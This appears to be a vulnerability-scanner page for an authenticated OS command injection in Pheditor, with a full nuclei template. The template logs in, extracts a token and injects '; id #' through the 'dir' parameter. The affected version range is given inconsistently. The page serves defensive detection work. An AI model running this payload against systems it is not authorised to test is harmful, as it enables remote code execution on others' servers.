Pheditor 2.0.1-2.0.3 - OS Command Injection

criticalseverity

9.9CVSS score

7.5%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Pheditor 2.0.1 to - 2.0.4 contains an OS command injection caused by improper sanitization of the 'dir' POST parameter in the terminal action handler, letting authenticated users execute arbitrary OS commands with web server privileges.

Impact

Authenticated users can execute arbitrary OS commands, leading to full remote code execution with web server privileges.

Fix

Upgrade to version 2.0.4 or later.

How to confirm it

Send: POST /pheditor.php
Positive when: status_code == 302
Send: GET /pheditor.php
Positive when: status_code == 200 and contains(body, "token") and !contains(body, "pheditor_password")
Send: POST /pheditor.php
Positive when: status_code == 200 and contains(body, "uid=")

Run it with nuclei: nuclei -id CVE-2026-48030 -u <target>

The full check

id: CVE-2026-48030

info:
  name: Pheditor 2.0.1-2.0.3 - OS Command Injection
  author: juoum00000
  severity: critical
  description: |
    Pheditor 2.0.1 to - 2.0.4 contains an OS command injection caused by improper sanitization of the 'dir' POST parameter in the terminal action handler, letting authenticated users execute arbitrary OS commands with web server privileges.
  impact: |
    Authenticated users can execute arbitrary OS commands, leading to full remote code execution with web server privileges.
  remediation: |
    Upgrade to version 2.0.4 or later.
  reference:
    - https://github.com/advisories/GHSA-jvc5-6g7q-c843
    - https://github.com/muslimbek-0x/CVE-2026-48030
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48030
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2026-48030
    epss-score: 0.07548
    epss-percentile: 0.94561
    cwe-id: CWE-78
  metadata:
    max-request: 4
    verified: true
    vendor: pheditor
    product: pheditor
    fofa-query: body="pheditor_password"
    shodan-query: http.html:pheditor
  tags: cve,cve2026,rce,pheditor,authenticated

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /pheditor.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        pheditor_password={{password}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
        internal: true

  - raw:
      - |
        GET /pheditor.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "token")'
          - '!contains(body, "pheditor_password")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: token
        group: 1
        internal: true
        regex:
          - 'token = "([0-9a-f]{64})"'

  - raw:
      - |
        POST /pheditor.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=terminal&command=whoami&dir=/tmp%3B%20id%20%23&token={{token}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "uid=")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from